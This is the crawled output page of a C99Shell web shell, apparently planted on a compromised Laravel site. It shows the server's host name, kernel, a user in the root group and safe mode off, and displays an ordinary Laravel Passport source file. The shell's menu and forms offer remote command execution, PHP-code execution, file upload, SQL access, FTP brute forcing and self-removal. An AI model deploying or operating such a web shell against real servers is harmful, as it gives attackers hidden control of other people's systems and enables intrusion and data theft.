!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/vendor/laravel/passport/src/   drwxr-xr-x
Free 28.5 GB of 117.98 GB (24.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PersonalAccessTokenFactory.php (3.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Passport;

use 
Lcobucci\JWT\Parser as JwtParser;
use 
League\OAuth2\Server\AuthorizationServer;
use 
Nyholm\Psr7\Response;
use 
Nyholm\Psr7\ServerRequest;
use 
Psr\Http\Message\ServerRequestInterface;

class 
PersonalAccessTokenFactory
{
    
/**
     * The authorization server instance.
     *
     * @var \League\OAuth2\Server\AuthorizationServer
     */
    
protected $server;

    
/**
     * The client repository instance.
     *
     * @var \Laravel\Passport\ClientRepository
     */
    
protected $clients;

    
/**
     * The token repository instance.
     *
     * @var \Laravel\Passport\TokenRepository
     */
    
protected $tokens;

    
/**
     * The JWT token parser instance.
     *
     * @var \Lcobucci\JWT\Parser
     *
     * @deprecated This property will be removed in a future Passport version.
     */
    
protected $jwt;

    
/**
     * Create a new personal access token factory instance.
     *
     * @param  \League\OAuth2\Server\AuthorizationServer  $server
     * @param  \Laravel\Passport\ClientRepository  $clients
     * @param  \Laravel\Passport\TokenRepository  $tokens
     * @param  \Lcobucci\JWT\Parser  $jwt
     * @return void
     */
    
public function __construct(AuthorizationServer $server,
                                
ClientRepository $clients,
                                
TokenRepository $tokens,
                                
JwtParser $jwt)
    {
        
$this->jwt $jwt;
        
$this->tokens $tokens;
        
$this->server $server;
        
$this->clients $clients;
    }

    
/**
     * Create a new personal access token.
     *
     * @param  mixed  $userId
     * @param  string  $name
     * @param  array  $scopes
     * @return \Laravel\Passport\PersonalAccessTokenResult
     */
    
public function make($userId$name, array $scopes = [])
    {
        
$response $this->dispatchRequestToAuthorizationServer(
            
$this->createRequest($this->clients->personalAccessClient(), $userId$scopes)
        );

        
$token tap($this->findAccessToken($response), function ($token) use ($userId$name) {
            
$this->tokens->save($token->forceFill([
                
'user_id' => $userId,
                
'name' => $name,
            ]));
        });

        return new 
PersonalAccessTokenResult(
            
$response['access_token'], $token
        
);
    }

    
/**
     * Create a request instance for the given client.
     *
     * @param  \Laravel\Passport\Client  $client
     * @param  mixed  $userId
     * @param  array  $scopes
     * @return \Psr\Http\Message\ServerRequestInterface
     */
    
protected function createRequest($client$userId, array $scopes)
    {
        
$secret Passport::$hashesClientSecrets $this->clients->getPersonalAccessClientSecret() : $client->secret;

        return (new 
ServerRequest('POST''not-important'))->withParsedBody([
            
'grant_type' => 'personal_access',
            
'client_id' => $client->id,
            
'client_secret' => $secret,
            
'user_id' => $userId,
            
'scope' => implode(' '$scopes),
        ]);
    }

    
/**
     * Dispatch the given request to the authorization server.
     *
     * @param  \Psr\Http\Message\ServerRequestInterface  $request
     * @return array
     */
    
protected function dispatchRequestToAuthorizationServer(ServerRequestInterface $request)
    {
        return 
json_decode($this->server->respondToAccessTokenRequest(
            
$request, new Response
        
)->getBody()->__toString(), true);
    }

    
/**
     * Get the access token instance for the parsed response.
     *
     * @param  array  $response
     * @return \Laravel\Passport\Token
     */
    
protected function findAccessToken(array $response)
    {
        return 
$this->tokens->find(
            
$this->jwt->parse($response['access_token'])->claims()->get('jti')
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--